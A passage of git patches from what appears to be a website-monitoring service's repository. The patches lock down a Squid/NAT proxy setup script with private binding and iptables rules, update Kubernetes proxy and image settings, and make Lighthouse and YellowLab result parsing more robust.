+http_access deny localhost
+
 # Prevent Squid from restarting under burst load
 shutdown_lifetime 3 seconds
 
@@ -96,7 +103,7 @@ connect_retries 1
 
 # Force cleanup of idle/stalled tunnels
 request_timeout 30 seconds
-connect_timeout 10 seconds
+connect_timeout 5 seconds
 read_timeout 30 seconds
 client_lifetime 5 minutes
 persistent_request_timeout 30 seconds
@@ -191,13 +198,13 @@ iptables -t nat -F
 iptables -A FORWARD -s "$NAT_VPC_CIDR" -j ACCEPT
 iptables -t nat -A POSTROUTING -s "$NAT_VPC_CIDR" -o eth0 -j MASQUERADE
 
+# rejects self traffic
+iptables -I INPUT -s 127.0.0.1 -p tcp --dport ${NAT_LISTEN_PORT} -j REJECT
+iptables -I INPUT -s 137.184.90.205 -p tcp --dport ${NAT_LISTEN_PORT} -j REJECT
+
 netfilter-persistent save
 netfilter-persistent reload
 
-# limit SYNs calls
-sysctl -w net.ipv4.tcp_max_syn_backlog=4096
-sysctl -w net.ipv4.tcp_abort_on_overflow=1
-
 echo "[8/8] Completed!"
 echo ""
 echo "Squid CONNECT proxy active on port: $NAT_LISTEN_PORT"

From 611d005cef9546db67dee16318efba75233a4bae Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 24 Dec 2025 14:08:02 -0700
Subject: [PATCH 1065/1099] update: new nat server

---
 k8s/prod/celery-deployment.yaml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 4481ddf6..977730d6 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -24,7 +24,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # cursiondev/server:cc4b9ef # 
+          image: <IMAGE> # cursiondev/server:3380205 # 
           imagePullPolicy: IfNotPresent
           command: ["/entrypoint.sh", "celery"]
           envFrom:
@@ -37,9 +37,9 @@ spec:
                   fieldPath: metadata.name
             # remove below if not using NAT gateway
             - name: HTTP_PROXY
-              value: "http://10.124.0.28:8888"
+              value: "http://10.124.0.29:8888"
             - name: HTTPS_PROXY
-              value: "http://10.124.0.28:8888"
+              value: "http://10.124.0.29:8888"
             - name: NO_PROXY
               value: "localhost,127.0.0.1,.svc.cluster.local,10.0.0.0/8"
           # resources:  # -> large node pool (4vcpu & 8Gi)

From 5423de3d6ee93e059e768b232d3983425e4b695e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 24 Dec 2025 15:07:08 -0700
Subject: [PATCH 1066/1099] update: various debudding efforts

---
 app/api/utils/lighthouse.py | 122 +++++++++++++++++++-----------------
 setup/scripts/nat.sh        |   4 --
 2 files changed, 64 insertions(+), 62 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 0ef1aba0..252c8cb7 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -246,67 +246,73 @@ def process_data(self, stdout_json: dict) -> dict:
             'interactive',
         ]
 
-        # iterating through categories to get relevant lh_audits 
-        # and store them in their respective `audits = {}` obj
-        for cat in self.audits:
-            # skipping non-existent cat
-            if stdout_json["categories"].get(cat) is None:
-                continue
-            cat_audits = stdout_json["categories"].get(cat).get("auditRefs")
-            if cat_audits is not None:
-                for a in cat_audits:
-                    if int(a["weight"]) > 0 or a["id"] in allow_list:
-                        audit = stdout_json["audits"][a["id"]]
-                        self.audits[cat].append(audit)
-       
-        # get scores from each category
-        score_queue = [] 
-        for cat in self.scores:
-            # skipping non-existent cat
-            if stdout_json["categories"].get(cat) is None:
-                continue
-            # record score
-            self.scores[cat] = round(stdout_json["categories"][cat]["score"] * 100)
-            # add to queue
-            score_queue.append(self.scores[cat])
-
-        # changing audits & score names back to original
-        self.scores['best_practices'] = self.scores.pop('best-practices')
-        self.audits['best_practices'] = self.audits.pop('best-practices')
-        self.audits['crux'] = self.audits.pop('lighthouse-plugin-crux')
-
-        # dynamically calculating average
-        average_score = round(sum(score_queue)/len(score_queue))
-        self.scores['average'] = average_score
-
-
-        # save audits data as json file
-        file_id = uuid.uuid4()
-        with open(f'{file_id}.json', 'w') as fp:
-            json.dump(self.audits, fp)
+        try:
+
+            # iterating through categories to get relevant lh_audits 
+            # and store them in their respective `audits = {}` obj
+            for cat in self.audits:
+                # skipping non-existent cat
+                if stdout_json["categories"].get(cat) is None:
+                    continue
+                cat_audits = stdout_json["categories"].get(cat).get("auditRefs")
+                if cat_audits is not None:
+                    for a in cat_audits:
+                        if int(a["weight"]) > 0 or a["id"] in allow_list:
+                            audit = stdout_json["audits"][a["id"]]
+                            self.audits[cat].append(audit)
         
-        # upload to s3 and return url
-        audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
-        remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
-        root_path = settings.AWS_S3_URL_PATH
-        self.audits_url = f'{root_path}/{remote_path}'
-    
-        # upload to s3
-        with open(audit_file, 'rb') as data:
-            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
-            )
-        # remove local copy
-        os.remove(audit_file)
+            # get scores from each category
+            score_queue = [] 
+            for cat in self.scores:
+                # skipping non-existent cat
+                if stdout_json["categories"].get(cat) is None:
+                    continue
+                # record score
+                self.scores[cat] = round(stdout_json["categories"][cat]["score"] * 100)
+                # add to queue
+                score_queue.append(self.scores[cat])
+
+            # changing audits & score names back to original
+            self.scores['best_practices'] = self.scores.pop('best-practices')
+            self.audits['best_practices'] = self.audits.pop('best-practices')
+            self.audits['crux'] = self.audits.pop('lighthouse-plugin-crux')
+
+            # dynamically calculating average
+            average_score = round(sum(score_queue)/len(score_queue))
+            self.scores['average'] = average_score
+
+
+            # save audits data as json file
+            file_id = uuid.uuid4()
+            with open(f'{file_id}.json', 'w') as fp:
+                json.dump(self.audits, fp)
+            
+            # upload to s3 and return url
+            audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
+            remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
+            root_path = settings.AWS_S3_URL_PATH
+            self.audits_url = f'{root_path}/{remote_path}'
+        
+            # upload to s3
+            with open(audit_file, 'rb') as data:
+                s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                    remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
+                )
+            # remove local copy
+            os.remove(audit_file)
+
+            data = {
+                "scores": self.scores, 
+                "audits": self.audits_url,
+                "failed": False
+            }
 
-        data = {
-            "scores": self.scores, 
-            "audits": self.audits_url,
-            "failed": False
-        }
+            # returning data 
+            return data
 
-        # returning data 
-        return data
+        except:
+            print(f'FAILED to pasrse: \n{stdout_json}')
+            raise TypeError
 
 
     
diff --git a/setup/scripts/nat.sh b/setup/scripts/nat.sh
index 8e87a179..9c4f0b4e 100644
--- a/setup/scripts/nat.sh
+++ b/setup/scripts/nat.sh
@@ -80,10 +80,6 @@ mv /etc/squid/squid.conf /etc/squid/squid.conf.bak
 cat <<EOF > /etc/squid/squid.conf
 # ================== Squid CONNECT Proxy ==================
 
-# Prevent squid from proxying itself
-acl localhost src 127.0.0.1/32 137.184.90.205/32
-http_access deny localhost
-
 # Prevent Squid from restarting under burst load
 shutdown_lifetime 3 seconds
 

From 94c2c82079f898d0e89173233702fad9df882768 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 24 Dec 2025 15:07:33 -0700
Subject: [PATCH 1067/1099] fix: added catch for non enterprise accounts

---
 app/api/v1/ops/services.py | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 3dfab83c..bcaafba2 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -765,8 +765,9 @@ def delete_site(request: object=None, id: str=None, user: object=None) -> object
         account.usage['schedules_allowed'] -= 1
         account.save()
 
-        # update billing
-        update_sub_price.delay(account_id=account.id)
+        # update billing for enterprise
+        if account.type == 'enterprise':
+            update_sub_price.delay(account_id=account.id)
 
     # returning response
     data = {'message': 'site deleted'}

From f7dd9f5531526f88cae37111ac87e39bf7068b52 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 24 Dec 2025 15:57:26 -0700
Subject: [PATCH 1068/1099] debug: lh issues

---
 app/api/utils/lighthouse.py | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 252c8cb7..47a44e88 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -206,10 +206,16 @@ def lighthouse_api(self) -> dict:
             url=f'{settings.LIGHTHOUSE_ROOT}?{cats}',
             params=params,
             headers=headers
-        ).json()
+        )
+
+        print(res)
+
+        res_json = res.json()
+
+        print(res_json)
 
         # try to get just LH response
-        res = res.get('lighthouseResult')
+        res = res_json.get('lighthouseResult')
 
         # return response
         return res

From f8602cc4b965a31349127e23f397d5553dc3a279 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 24 Dec 2025 16:31:20 -0700
Subject: [PATCH 1069/1099] debug: lighthouse issues

---
 app/api/utils/lighthouse.py | 19 +++++++++++--------
 1 file changed, 11 insertions(+), 8 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 47a44e88..2dbf09ad 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -2,7 +2,7 @@
 from ..models import Site, Scan
 from .devices import get_device
 from cursion import settings
-import subprocess, json, uuid, boto3, os, requests
+import subprocess, json, uuid, boto3, os, requests, ast
 
 
 
@@ -174,7 +174,11 @@ def lighthouse_cli(self):
         stdout_value = stdout_string.encode('iso-8859-1')
         
         # converting stdout str into Dict
-        stdout_json = json.loads(stdout_value)
+        try:
+            stdout_json = json.loads(stdout_value)
+        except json.JSONDecodeError:
+            # fallback for Python dict literal debugging payloads
+            stdout_json = ast.literal_eval(stdout_string)
         return stdout_json
 
 
@@ -209,11 +213,10 @@ def lighthouse_api(self) -> dict:
         )
 
         print(res)
+        print(res.status_code, res.text)
 
         res_json = res.json()
 
-        print(res_json)
-
         # try to get just LH response
         res = res_json.get('lighthouseResult')
 
@@ -290,11 +293,11 @@ def process_data(self, stdout_json: dict) -> dict:
 
             # save audits data as json file
             file_id = uuid.uuid4()
-            with open(f'{file_id}.json', 'w') as fp:
+            audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
+            with open(audit_file, 'w') as fp:
                 json.dump(self.audits, fp)
             
             # upload to s3 and return url
-            audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
             remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
             root_path = settings.AWS_S3_URL_PATH
             self.audits_url = f'{root_path}/{remote_path}'
@@ -316,8 +319,8 @@ def process_data(self, stdout_json: dict) -> dict:
             # returning data 
             return data
 
-        except:
-            print(f'FAILED to pasrse: \n{stdout_json}')
+        except Exception as e:
+            print(f'FAILED to pasrse: {e.__class__.__name__}: {e}\n{stdout_json}')
             raise TypeError
 
 

From 610903757c7188c5d88f8e3b656f93efd4bd9527 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 24 Dec 2025 17:13:49 -0700
Subject: [PATCH 1070/1099] fix: lh & yl parsing issues

---
 app/api/utils/lighthouse.py | 35 ++++++++++++++++++++++-------------
 app/api/utils/yellowlab.py  | 12 +++++++++---
 2 files changed, 31 insertions(+), 16 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 2dbf09ad..f1fa7cad 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -244,11 +244,6 @@ def process_data(self, stdout_json: dict) -> dict:
             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
         )
 
-        # changing audits & score names before iterations
-        self.scores['best-practices'] = self.scores.pop('best_practices')
-        self.audits['best-practices'] = self.audits.pop('best_practices')
-        self.audits['lighthouse-plugin-crux'] = self.audits.pop('crux')
-
         # allow_list of 0 weighted audits
         allow_list = [
             'server-response-time', 'cache-insight',
@@ -256,6 +251,13 @@ def process_data(self, stdout_json: dict) -> dict:
         ]
 
         try:
+            # changing audits & score names before iterations
+            if 'best_practices' in self.scores:
+                self.scores['best-practices'] = self.scores.pop('best_practices')
+            if 'best_practices' in self.audits:
+                self.audits['best-practices'] = self.audits.pop('best_practices')
+            if 'crux' in self.audits:
+                self.audits['lighthouse-plugin-crux'] = self.audits.pop('crux')
 
             # iterating through categories to get relevant lh_audits 
             # and store them in their respective `audits = {}` obj
@@ -276,19 +278,18 @@ def process_data(self, stdout_json: dict) -> dict:
                 # skipping non-existent cat
                 if stdout_json["categories"].get(cat) is None:
                     continue
+                score_value = stdout_json["categories"][cat]["score"]
+                if score_value is None:
+                    continue
                 # record score
-                self.scores[cat] = round(stdout_json["categories"][cat]["score"] * 100)
+                self.scores[cat] = round(score_value * 100)
                 # add to queue
                 score_queue.append(self.scores[cat])
 
-            # changing audits & score names back to original
-            self.scores['best_practices'] = self.scores.pop('best-practices')
-            self.audits['best_practices'] = self.audits.pop('best-practices')
-            self.audits['crux'] = self.audits.pop('lighthouse-plugin-crux')
-
             # dynamically calculating average
-            average_score = round(sum(score_queue)/len(score_queue))
-            self.scores['average'] = average_score
+            if score_queue:
+                average_score = round(sum(score_queue)/len(score_queue))
+                self.scores['average'] = average_score
 
 
             # save audits data as json file
@@ -322,6 +323,14 @@ def process_data(self, stdout_json: dict) -> dict:
         except Exception as e:
             print(f'FAILED to pasrse: {e.__class__.__name__}: {e}\n{stdout_json}')
             raise TypeError
+        finally:
+            # changing audits & score names back to original
+            if 'best-practices' in self.scores:
+                self.scores['best_practices'] = self.scores.pop('best-practices')
+            if 'best-practices' in self.audits:
+                self.audits['best_practices'] = self.audits.pop('best-practices')
+            if 'lighthouse-plugin-crux' in self.audits:
+                self.audits['crux'] = self.audits.pop('lighthouse-plugin-crux')
 
 
     
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 268eee72..021294b1 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -199,9 +199,15 @@ def process_data(self, stdout_json: dict) -> dict:
         # get scores from each category
         for key in self.scores:
             if key == 'globalScore':
-                self.scores['globalScore'] = stdout_json["scoreProfiles"]["generic"]["globalScore"]
+                score_value = stdout_json["scoreProfiles"]["generic"]["globalScore"]
+                if score_value is None:
+                    continue
+                self.scores['globalScore'] = score_value
             else:
-                self.scores[key] = stdout_json["scoreProfiles"]["generic"]["categories"][key]["categoryScore"]
+                score_value = stdout_json["scoreProfiles"]["generic"]["categories"][key]["categoryScore"]
+                if score_value is None:
+                    continue
+                self.scores[key] = score_value
 
 
         # save audits data as json file
@@ -272,4 +278,4 @@ def get_data(self):
         }
             
         # returning final data
-        return data
\ No newline at end of file
+        return data

From b7902449c26d901d02aad14a95c5b4d79736a209 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 24 Dec 2025 17:34:12 -0700
Subject: [PATCH 1071/1099] fix: lighthouse logging cleanup

---
 app/api/utils/lighthouse.py | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index f1fa7cad..51f526fc 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -212,12 +212,12 @@ def lighthouse_api(self) -> dict:
             headers=headers
         )
 
-        print(res)
-        print(res.status_code, res.text)
-
-        res_json = res.json()
+        # print error if not 200
+        if not str(res.status_code).startswith('2'):
+            print(res.status_code, res.text)
 
         # try to get just LH response
+        res_json = res.json()
         res = res_json.get('lighthouseResult')
 
         # return response

From 1aaf402c2e29fc8f4d4df9bb67b271f4c95a5371 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 30 Dec 2025 11:39:06 -0700
Subject: [PATCH 1072/1099] fix: added new `--enable-unsafe-swiftshader` flag
 to silence frontend console warnings

---
 app/api/utils/driver.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py
index a79150a0..f2c71e00 100644
--- a/app/api/utils/driver.py
+++ b/app/api/utils/driver.py
@@ -68,6 +68,7 @@ def driver_init(
         options.add_argument("disable-blink-features=AlertControlled")
         options.add_argument("--headless")
         options.add_argument("--disable-dev-shm-usage")
+        options.add_argument("--enable-unsafe-swiftshader")
         options.add_argument("ignore-certificate-errors")
         options.add_argument("--hide-scrollbars")
         options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
@@ -108,6 +109,7 @@ def driver_init(
         options.add_argument("--no-sandbox")
         options.add_argument("disable-blink-features=AlertControlled")
         options.add_argument("--headless")
+        options.add_argument("--enable-unsafe-swiftshader")
         options.add_argument("--disable-dev-shm-usage")
         options.add_argument("ignore-certificate-errors")
         options.add_argument("--hide-scrollbars")

From d574b7dd74c2e4156ba09f06a3096109e2b95d25 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 30 Dec 2025 12:13:35 -0700
Subject: [PATCH 1073/1099] update: new NAT configs

---
 setup/scripts/nat.sh | 99 +++++++++++++++++++-------------------------
 1 file changed, 42 insertions(+), 57 deletions(-)

diff --git a/setup/scripts/nat.sh b/setup/scripts/nat.sh
index 9c4f0b4e..e0194e2e 100644
--- a/setup/scripts/nat.sh
+++ b/setup/scripts/nat.sh
@@ -2,7 +2,8 @@
 # NAT + High-Concurrency HTTP CONNECT Proxy (Squid)
 # Supports VPC CIDR + listen port input
 
-# If using k8s, the NAT_VP_CIDR is likely specific to the cluster
+# NAT_VPC_CIDR is the VPC where k8s is located 
+# https://cloud.digitalocean.com/networking/vpc/
 
 set -u # Treat unset variables as errors
 
@@ -12,6 +13,7 @@ set -u # Treat unset variables as errors
 
 NAT_VPC_CIDR="${1:-}"
 NAT_LISTEN_PORT="${2:-}"
+NAT_PRIVATE_IP="${3:-}"
 
 if [ -z "$NAT_VPC_CIDR" ]; then
   read -rp "Enter VPC CIDR block (e.g., 10.124.0.0/16): " NAT_VPC_CIDR
@@ -21,14 +23,20 @@ if [ -z "$NAT_LISTEN_PORT" ]; then
   read -rp "Enter Proxy Listen Port (e.g., 8888): " NAT_LISTEN_PORT
 fi
 
+if [ -z "$NAT_PRIVATE_IP" ]; then
+  read -rp "Enter NAT Private IP addres (e.g., 10.124.0.29): " NAT_PRIVATE_IP
+fi
+
+echo ""
 echo "Using NAT_VPC_CIDR: $NAT_VPC_CIDR"
 echo "Using NAT_LISTEN_PORT: $NAT_LISTEN_PORT"
+echo "Using NAT_PRIVATE_IP: $NAT_PRIVATE_IP"
 echo ""
 
 # update and install deps
 echo "[1/8] Updating system..."
 apt update -y
-apt install -y squid iptables-persistent curl
+apt install -y squid iptables-persistent curl conntrack
 
 # load conntrack
 echo "[2/8] Loading conntrack kernel modules..."
@@ -74,92 +82,64 @@ fi
 
 sysctl -p
 
+# setup Squid configs
 echo "[4/8] Configuring Squid..."
 mv /etc/squid/squid.conf /etc/squid/squid.conf.bak
 
 cat <<EOF > /etc/squid/squid.conf
 # ================== Squid CONNECT Proxy ==================
 
-# Prevent Squid from restarting under burst load
 shutdown_lifetime 3 seconds
 
-# Listen on custom port
-http_port ${NAT_LISTEN_PORT}
+# Bind ONLY to private VPC IP (prevents public access)
+http_port ${NAT_PRIVATE_IP}:${NAT_LISTEN_PORT}
 
-# Allow HTTPS CONNECT only
+# ---- ACCESS CONTROL (ORDER MATTERS) ----
+acl vpc src ${NAT_VPC_CIDR}
 acl SSL_ports port 443
 acl CONNECT method CONNECT
-http_access allow CONNECT SSL_ports
 
-# ---- HARD CONCURRENCY / BACKPRESSURE (1 GiB box) ----
-# Cap total concurrent client connections (prevents runaway growth)
+http_access allow vpc CONNECT SSL_ports
+http_access deny all
+
+# ---- HARD BACKPRESSURE ----
 acl max_clients maxconn 500
 http_access deny max_clients
 connect_retries 1
 
-# Force cleanup of idle/stalled tunnels
+# Timeouts to kill abandoned tunnels
 request_timeout 30 seconds
 connect_timeout 5 seconds
 read_timeout 30 seconds
 client_lifetime 5 minutes
 persistent_request_timeout 30 seconds
-
-# Reduce FD retention / half-closed socket buildup
 half_closed_clients off
 
-# Large CONNECT tunnels
+# Headers / buffers
 request_header_max_size 64 KB
 reply_header_max_size 64 KB
+client_request_buffer_max_size 96 KB
+request_body_max_size 0 KB
 
-# Avoid connection pooling exhaustion
+# Connection behavior
 server_persistent_connections off
-
-# IMPORTANT: disable long-lived client persistence to prevent memory creep
 client_persistent_connections off
-
-# Disable request pipelining
 pipeline_prefetch 0
 
-# Allow VPC CIDR
-acl vpc src ${NAT_VPC_CIDR}
-http_access allow vpc
-
-# Deny all other access
-http_access deny all
-
-# Memory Safety (1 GiB RAM)
+# Memory safety
 cache deny all
 memory_pools off
-
-# Hard memory caps
 cache_mem 64 MB
 maximum_object_size_in_memory 32 KB
 
-# Limit per-connection buffers
-# NOTE: must be > request_header_max_size (64 KB). 96 KB is safe.
-client_request_buffer_max_size 96 KB
-request_body_max_size 0 KB
-
-# FD scaling
+# FDs
 max_filedescriptors 65535
-
 workers 1
 
-# NOTE: no cache_dir — means "no cache"
-# (Null cache type is not supported in Ubuntu 24.04 build)
-
 access_log /var/log/squid/access.log
 cache_log /var/log/squid/cache.log
 EOF
 
-echo "[5/8] Adding systemd NOFILE limit..."
-mkdir -p /etc/systemd/system/squid.service.d
-
-cat <<EOF > /etc/systemd/system/squid.service.d/limits.conf
-[Service]
-LimitNOFILE=65535
-EOF
-
 # restarts squid on OOM failure
 cat <<EOF > /etc/systemd/system/squid.service.d/oom.conf
 [Service]
@@ -184,27 +164,32 @@ systemctl daemon-reload
 # avoids silent failures
 squid -k parse
 
-# restart squid
-echo "[6/8] Restarting Squid..."
-systemctl restart squid
-systemctl enable squid
-
-echo "[7/8] Setting up iptables NAT..."
+echo "[6/8] Setting up iptables NAT..."
 iptables -t nat -F
 iptables -A FORWARD -s "$NAT_VPC_CIDR" -j ACCEPT
 iptables -t nat -A POSTROUTING -s "$NAT_VPC_CIDR" -o eth0 -j MASQUERADE
 
-# rejects self traffic
-iptables -I INPUT -s 127.0.0.1 -p tcp --dport ${NAT_LISTEN_PORT} -j REJECT
-iptables -I INPUT -s 137.184.90.205 -p tcp --dport ${NAT_LISTEN_PORT} -j REJECT
+# default deny/lock-down
+iptables -A INPUT -i lo -j ACCEPT
+iptables -P INPUT DROP
+iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
+iptables -A INPUT -p tcp --dport $NAT_LISTEN_PORT -s $NAT_VPC_CIDR -j ACCEPT
+iptables -A INPUT -p tcp --dport 22 -j ACCEPT
 
 netfilter-persistent save
 netfilter-persistent reload
 
+# flush existing abusive connections
+conntrack -F
+
+# restart squid
+echo "[7/8] Restarting Squid..."
+systemctl restart squid
+systemctl enable squid
+
+# success message
 echo "[8/8] Completed!"
 echo ""
 echo "Squid CONNECT proxy active on port: $NAT_LISTEN_PORT"
 echo "Allowed VPC range: $NAT_VPC_CIDR"
 echo ""
-echo "Test with:"
-echo "  curl -x http://<NAT_IP>:$NAT_LISTEN_PORT https://google.com -I"

From 2dbf1cc2886db6d24e76d8b631663f8d4c4baf78 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 9 Jan 2026 14:04:25 -0700
Subject: [PATCH 1074/1099] fix: adding bypass for Google APIs from NAT gateway

---
 k8s/prod/celery-deployment.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 977730d6..a3f03343 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -41,7 +41,7 @@ spec:
             - name: HTTPS_PROXY
               value: "http://10.124.0.29:8888"
             - name: NO_PROXY
-              value: "localhost,127.0.0.1,.svc.cluster.local,10.0.0.0/8"
+              value: "localhost,127.0.0.1,.svc.cluster.local,10.0.0.0/8,.googleapis.com,.google.com,clients2.google.com,mtalk.google.com"
           # resources:  # -> large node pool (4vcpu & 8Gi)
           #   limits:
           #     cpu: "2"

From 6854c8ab05c0529a46b5c6eab756c2b9d5753aea Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 9 Jan 2026 14:07:31 -0700
Subject: [PATCH 1075/1099] routine: bumped image tag

---
 k8s/prod/celery-deployment.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index a3f03343..76a0914c 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -24,7 +24,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # cursiondev/server:3380205 # 
+          image: <IMAGE> # cursiondev/server:65ccd89 #
           imagePullPolicy: IfNotPresent
           command: ["/entrypoint.sh", "celery"]
           envFrom:

From 7138fcbca57600abff49ffd5cc881882b7ad5b95 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 13 Jan 2026 10:06:41 -0700
Subject: [PATCH 1076/1099] fix: update Lighthouse category key mappings for
 audits and scores

---
 app/api/utils/lighthouse.py | 30 +++++++++++-------------------
 1 file changed, 11 insertions(+), 19 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 51f526fc..cb42a18a 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -251,21 +251,20 @@ def process_data(self, stdout_json: dict) -> dict:
         ]
 
         try:
-            # changing audits & score names before iterations
-            if 'best_practices' in self.scores:
-                self.scores['best-practices'] = self.scores.pop('best_practices')
-            if 'best_practices' in self.audits:
-                self.audits['best-practices'] = self.audits.pop('best_practices')
-            if 'crux' in self.audits:
-                self.audits['lighthouse-plugin-crux'] = self.audits.pop('crux')
+            # Map internal keys (used by the client) to Lighthouse category keys.
+            category_key_map = {
+                "best_practices": "best-practices",
+                "crux": "lighthouse-plugin-crux",
+            }
 
             # iterating through categories to get relevant lh_audits 
             # and store them in their respective `audits = {}` obj
             for cat in self.audits:
+                lh_cat = category_key_map.get(cat, cat)
                 # skipping non-existent cat
-                if stdout_json["categories"].get(cat) is None:
+                if stdout_json["categories"].get(lh_cat) is None:
                     continue
-                cat_audits = stdout_json["categories"].get(cat).get("auditRefs")
+                cat_audits = stdout_json["categories"].get(lh_cat).get("auditRefs")
                 if cat_audits is not None:
                     for a in cat_audits:
                         if int(a["weight"]) > 0 or a["id"] in allow_list:
@@ -275,10 +274,11 @@ def process_data(self, stdout_json: dict) -> dict:
             # get scores from each category
             score_queue = [] 
             for cat in self.scores:
+                lh_cat = category_key_map.get(cat, cat)
                 # skipping non-existent cat
-                if stdout_json["categories"].get(cat) is None:
+                if stdout_json["categories"].get(lh_cat) is None:
                     continue
-                score_value = stdout_json["categories"][cat]["score"]
+                score_value = stdout_json["categories"][lh_cat]["score"]
                 if score_value is None:
                     continue
                 # record score
@@ -323,14 +323,6 @@ def process_data(self, stdout_json: dict) -> dict:
         except Exception as e:
             print(f'FAILED to pasrse: {e.__class__.__name__}: {e}\n{stdout_json}')
             raise TypeError
-        finally:
-            # changing audits & score names back to original
-            if 'best-practices' in self.scores:
-                self.scores['best_practices'] = self.scores.pop('best-practices')
-            if 'best-practices' in self.audits:
-                self.audits['best_practices'] = self.audits.pop('best-practices')
-            if 'lighthouse-plugin-crux' in self.audits:
-                self.audits['crux'] = self.audits.pop('lighthouse-plugin-crux')
 
 
     

From b7ea2dc54ae3e6ae24218ac3dc125343cef52f33 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 21 Jan 2026 11:33:16 -0700
Subject: [PATCH 1077/1099] routine: doc-string formatting

---
 app/api/tasks.py                     | 296 +++++------
 app/api/utils/alerter.py             |  10 +-
 app/api/utils/alerts.py              | 109 ++--
 app/api/utils/archive/caser.py       |  20 +-
 app/api/utils/archive/driver_p.py    |  14 +-
 app/api/utils/archive/imager.py      |  18 +-
 app/api/utils/archive/wordpress_p.py |   6 +-
 app/api/utils/autocaser.py           |   6 +-
 app/api/utils/caser.py               |  38 +-
 app/api/utils/crawler.py             |   4 +-
 app/api/utils/definitions.py         |   7 +-
 app/api/utils/devices.py             |   7 +-
 app/api/utils/driver.py              |  13 +-
 app/api/utils/exporter.py            |   3 +-
 app/api/utils/flowr.py               |  22 +-
 app/api/utils/imager.py              |   8 +-
 app/api/utils/issuer.py              |  18 +-
 app/api/utils/lighthouse.py          |   9 +-
 app/api/utils/manager.py             |   3 +-
 app/api/utils/reporter.py            |  17 +-
 app/api/utils/scanner.py             |  67 ++-
 app/api/utils/tester.py              |   4 +-
 app/api/utils/updater.py             |   3 +-
 app/api/utils/wordpress.py           |   6 +-
 app/api/utils/yellowlab.py           |   6 +-
 app/api/v1/auth/services.py          | 134 +++--
 app/api/v1/ops/services.py           | 736 +++++++++++++--------------
 27 files changed, 742 insertions(+), 842 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 2ed98500..4b9f2448 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -92,12 +92,12 @@ def check_and_increment_resource(account_id: str, resource: str) -> bool:
